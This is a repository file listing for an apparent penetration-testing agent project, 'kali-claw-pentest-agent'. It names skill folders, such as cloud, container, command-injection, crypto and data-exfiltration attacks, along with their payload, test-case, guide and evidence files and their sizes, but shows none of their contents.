    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cloud-identity-attack/payloads.mdmarkdown · 40.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cloud-identity-attack/test-cases.mdmarkdown · 27.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cloud-native-vuln-research/SKILL.mdmarkdown · 27.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cloud-native-vuln-research/evidence/2026-09-04/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cloud-native-vuln-research/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cloud-native-vuln-research/evidence/2026-09-08/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cloud-native-vuln-research/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cloud-native-vuln-research/guides/cloud-native-vuln-research-playbook.mdmarkdown · 23.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cloud-native-vuln-research/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cloud-native-vuln-research/payloads.mdmarkdown · 38.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cloud-native-vuln-research/test-cases.mdmarkdown · 19.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cloud-security/SKILL.mdmarkdown · 19.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cloud-security/evidence/2026-08-17/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cloud-security/evidence/2026-08-17/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cloud-security/evidence/2026-09-07/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cloud-security/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cloud-security/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cloud-security/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cloud-security/guides/aws-pentest-lab-guide.mdmarkdown · 2.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cloud-security/guides/azure-privilege-escalation-guide.mdmarkdown · 2.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cloud-security/guides/cloud-post-exploitation-guide.mdmarkdown · 2.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cloud-security/guides/cloud-privilege-escalation-guide.mdmarkdown · 8.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cloud-security/guides/cloud_security_complete_guide.mdmarkdown · 9.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cloud-security/guides/infrastructure-as-code-security.mdmarkdown · 21.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cloud-security/guides/kubernetes-security-deep-dive.mdmarkdown · 21.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cloud-security/guides/serverless-security.mdmarkdown · 20.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cloud-security/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cloud-security/payloads.mdmarkdown · 62.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cloud-security/test-cases.mdmarkdown · 11.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cms-framework-attack/SKILL.mdmarkdown · 20.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cms-framework-attack/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cms-framework-attack/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cms-framework-attack/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cms-framework-attack/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cms-framework-attack/guides/cms-identification-enumeration-guide.mdmarkdown · 15.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cms-framework-attack/guides/joomla-drupal-cms-attack-guide.mdbinary · 15.0 KB

    Binary — download to inspect.

  • kali-claw-pentest-agent/skills/cms-framework-attack/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cms-framework-attack/guides/wordpress-pentest-guide.mdmarkdown · 12.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cms-framework-attack/payloads.mdbinary · 41.0 KB

    Binary — download to inspect.

  • kali-claw-pentest-agent/skills/cms-framework-attack/test-cases.mdmarkdown · 18.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/codebase-onboarding/SKILL.mdmarkdown · 10.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/codebase-onboarding/evidence/2026-09-04/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/codebase-onboarding/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/codebase-onboarding/evidence/2026-09-07/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/codebase-onboarding/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/codebase-onboarding/evidence/2026-09-08/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/codebase-onboarding/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/codebase-onboarding/guides/architecture-pattern-recognition.mdmarkdown · 9.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/codebase-onboarding/guides/dependency-supply-chain-analysis-guide.mdmarkdown · 4.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/codebase-onboarding/guides/legacy-codebase-onboarding.mdmarkdown · 9.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/codebase-onboarding/guides/microservice-onboarding.mdmarkdown · 8.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/codebase-onboarding/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/codebase-onboarding/guides/web-framework-onboarding.mdmarkdown · 11.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/codebase-onboarding/payloads.mdmarkdown · 48.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/codebase-onboarding/test-cases.mdmarkdown · 28.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/command-injection-advanced/SKILL.mdmarkdown · 33.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/command-injection-advanced/evidence/2026-09-04/lint.jsoncode · 0.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/command-injection-advanced/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/command-injection-advanced/evidence/2026-09-07/lint.jsoncode · 0.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/command-injection-advanced/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/command-injection-advanced/evidence/2026-09-08/lint.jsoncode · 0.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/command-injection-advanced/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/command-injection-advanced/guides/blind-injection-techniques.mdmarkdown · 7.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/command-injection-advanced/guides/command-injection-filter-bypass.mdmarkdown · 6.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/command-injection-advanced/guides/ldap-nosql-injection-guide.mdmarkdown · 7.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/command-injection-advanced/guides/ssti-exploitation-guide.mdmarkdown · 7.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/command-injection-advanced/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/command-injection-advanced/payloads.mdmarkdown · 13.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/command-injection-advanced/test-cases.mdmarkdown · 15.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/concurrency-exploitation/SKILL.mdmarkdown · 21.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/concurrency-exploitation/evidence/2026-09-04/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/concurrency-exploitation/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/concurrency-exploitation/evidence/2026-09-08/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/concurrency-exploitation/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/concurrency-exploitation/guides/race-window-amplification.mdmarkdown · 6.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/concurrency-exploitation/guides/signal-handler-race-exploitation.mdmarkdown · 6.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/concurrency-exploitation/guides/threadsanitizer-guide.mdmarkdown · 8.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/concurrency-exploitation/guides/toctou-exploitation-guide.mdmarkdown · 9.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/concurrency-exploitation/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/concurrency-exploitation/payloads.mdmarkdown · 14.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/concurrency-exploitation/test-cases.mdmarkdown · 17.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/confidential-computing-attack/SKILL.mdmarkdown · 15.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/confidential-computing-attack/evidence/2026-09-04/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/confidential-computing-attack/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/confidential-computing-attack/evidence/2026-09-08/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/confidential-computing-attack/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/confidential-computing-attack/guides/confidential-computing-attack-playbook.mdmarkdown · 28.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/confidential-computing-attack/guides/real-world-incident-case-studies.mdmarkdown · 30.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/confidential-computing-attack/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/confidential-computing-attack/payloads.mdmarkdown · 33.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/confidential-computing-attack/test-cases.mdmarkdown · 17.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/container-security/SKILL.mdmarkdown · 21.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/container-security/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/container-security/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/container-security/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/container-security/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/container-security/guides/2026-03-21-container-security-tools.mdmarkdown · 17.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/container-security/guides/container-escape-techniques-guide.mdmarkdown · 10.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/container-security/guides/container-network-segmentation-guide.mdmarkdown · 20.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/container-security/guides/container-runtime-security-guide.mdmarkdown · 9.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/container-security/guides/container-security-cli-reference.mdmarkdown · 11.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/container-security/guides/container-supply-chain-attack-guide.mdmarkdown · 17.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/container-security/guides/docker-breakout-escape-guide.mdmarkdown · 19.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/container-security/guides/kubernetes-attack-surface-guide.mdmarkdown · 7.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/container-security/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/container-security/payloads.mdmarkdown · 34.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/container-security/test-cases.mdmarkdown · 11.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/continuous-learning/SKILL.mdmarkdown · 11.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/continuous-learning/evidence/2026-09-04/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/continuous-learning/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/continuous-learning/evidence/2026-09-07/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/continuous-learning/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/continuous-learning/evidence/2026-09-08/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/continuous-learning/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/continuous-learning/guides/adaptive-learning-strategies-guide.mdmarkdown · 8.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/continuous-learning/guides/cross-domain-knowledge-transfer-guide.mdmarkdown · 9.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/continuous-learning/guides/cross-session-knowledge-aggregation-guide.mdmarkdown · 5.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/continuous-learning/guides/knowledge-decay-detection-guide.mdmarkdown · 6.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/continuous-learning/guides/knowledge-extraction-workflow.mdmarkdown · 23.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/continuous-learning/guides/usage-and-assessment.mdmarkdown · 1.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/continuous-learning/payloads.mdmarkdown · 44.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/continuous-learning/test-cases.mdmarkdown · 25.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/council/SKILL.mdmarkdown · 16.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/council/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/council/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/council/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/council/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/council/guides/automated-consensus-scoring-guide.mdmarkdown · 15.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/council/guides/council-consensus-building-guide.mdmarkdown · 18.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/council/guides/multi-agent-escalation-guide.mdmarkdown · 15.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/council/guides/multi-perspective-analysis-framework-guide.mdmarkdown · 14.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/council/guides/multi-perspective-analysis.mdmarkdown · 16.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/council/guides/risk-prioritization-matrix-guide.mdmarkdown · 15.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/council/guides/security-decision-framework.mdmarkdown · 16.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/council/guides/usage-and-assessment.mdmarkdown · 1.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/council/payloads.mdmarkdown · 60.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/council/test-cases.mdmarkdown · 35.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cps-attack/SKILL.mdmarkdown · 24.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cps-attack/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cps-attack/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cps-attack/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cps-attack/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cps-attack/guides/cps-attack-playbook.mdmarkdown · 9.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cps-attack/guides/real-world-incident-case-studies.mdmarkdown · 21.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cps-attack/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cps-attack/payloads.mdmarkdown · 25.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cps-attack/test-cases.mdmarkdown · 22.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/crypto-attacks/SKILL.mdmarkdown · 25.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/crypto-attacks/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/crypto-attacks/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/crypto-attacks/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/crypto-attacks/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/crypto-attacks/guides/crypto-attacks-pqc-migration-side-channel.mdmarkdown · 54.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/crypto-attacks/guides/crypto_failures_scanner.pycode · 6.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/crypto-attacks/guides/cryptographic_failures_complete_guide.mdmarkdown · 11.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/crypto-attacks/guides/hash-length-extension-guide.mdmarkdown · 6.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/crypto-attacks/guides/padding-oracle-attack-guide.mdmarkdown · 4.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/crypto-attacks/guides/tls-ssl-misconfiguration-guide.mdmarkdown · 4.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/crypto-attacks/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/crypto-attacks/guides/weak-random-number-exploitation-guide.mdmarkdown · 9.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/crypto-attacks/payloads.mdmarkdown · 37.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/crypto-attacks/test-cases.mdmarkdown · 12.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cspm-casb-attack/SKILL.mdmarkdown · 33.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cspm-casb-attack/evidence/2026-08-17/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cspm-casb-attack/evidence/2026-08-17/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cspm-casb-attack/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cspm-casb-attack/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cspm-casb-attack/guides/cspm-casb-attack-playbook.mdmarkdown · 43.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cspm-casb-attack/guides/quick-reference-card.mdmarkdown · 24.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cspm-casb-attack/guides/real-world-incident-case-studies.mdmarkdown · 45.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cspm-casb-attack/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cspm-casb-attack/payloads.mdmarkdown · 65.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cspm-casb-attack/test-cases.mdmarkdown · 28.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/darkweb-intel/SKILL.mdmarkdown · 32.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/darkweb-intel/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/darkweb-intel/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/darkweb-intel/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/darkweb-intel/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/darkweb-intel/guides/dark-web-investigation-playbook.mdmarkdown · 24.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/darkweb-intel/guides/darkweb-intel-forum-attribution-deep.mdmarkdown · 15.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/darkweb-intel/guides/darkweb-intel-i2p-freenet-monitoring-deep.mdmarkdown · 13.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/darkweb-intel/guides/darkweb-intel-leak-site-investigation-deep.mdmarkdown · 15.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/darkweb-intel/guides/darkweb-intel-monero-tracing-deep.mdmarkdown · 15.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/darkweb-intel/guides/darkweb-intel-real-world-incident-case-studies.mdmarkdown · 19.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/darkweb-intel/guides/tor-onion-crawl-playbook.mdmarkdown · 33.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/darkweb-intel/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/darkweb-intel/payloads.mdmarkdown · 40.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/darkweb-intel/test-cases.mdmarkdown · 23.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/data-exfiltration-attack/SKILL.mdmarkdown · 20.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/data-exfiltration-attack/evidence/2026-09-04/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/data-exfiltration-attack/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/data-exfiltration-attack/evidence/2026-09-08/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/data-exfiltration-attack/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/data-exfiltration-attack/guides/data-exfiltration-attack-playbook.mdmarkdown · 12.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/data-exfiltration-attack/guides/real-world-incident-case-studies.mdmarkdown · 19.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/data-exfiltration-attack/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/data-exfiltration-attack/payloads.mdmarkdown · 27.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/data-exfiltration-attack/test-cases.mdmarkdown · 20.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/data-loss-prevention-bypass/SKILL.mdmarkdown · 9.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/data-loss-prevention-bypass/evidence/2026-09-04/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/data-loss-prevention-bypass/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/data-loss-prevention-bypass/evidence/2026-09-07/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/data-loss-prevention-bypass/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/data-loss-prevention-bypass/evidence/2026-09-08/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/data-loss-prevention-bypass/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/data-loss-prevention-bypass/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/data-loss-prevention-bypass/payloads.mdmarkdown · 2.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/data-loss-prevention-bypass/test-cases.mdmarkdown · 3.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/data-platform-attack/SKILL.mdmarkdown · 17.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/data-platform-attack/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/data-platform-attack/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/data-platform-attack/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/data-platform-attack/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/data-platform-attack/guides/data-platform-attack-playbook.mdmarkdown · 29.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/data-platform-attack/guides/real-world-incident-case-studies.mdmarkdown · 28.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/data-platform-attack/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/data-platform-attack/payloads.mdmarkdown · 37.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/data-platform-attack/test-cases.mdmarkdown · 20.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/data-scraper-agent/SKILL.mdmarkdown · 8.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/data-scraper-agent/evidence/2026-09-04/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/data-scraper-agent/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/data-scraper-agent/evidence/2026-09-08/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/data-scraper-agent/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/data-scraper-agent/guides/anti-bot-bypass-guide.mdmarkdown · 9.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/data-scraper-agent/guides/data-extraction-patterns-guide.mdmarkdown · 7.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/data-scraper-agent/guides/nvd-api-scraping-guide.mdmarkdown · 6.3 KB

    No inline preview for this entry.

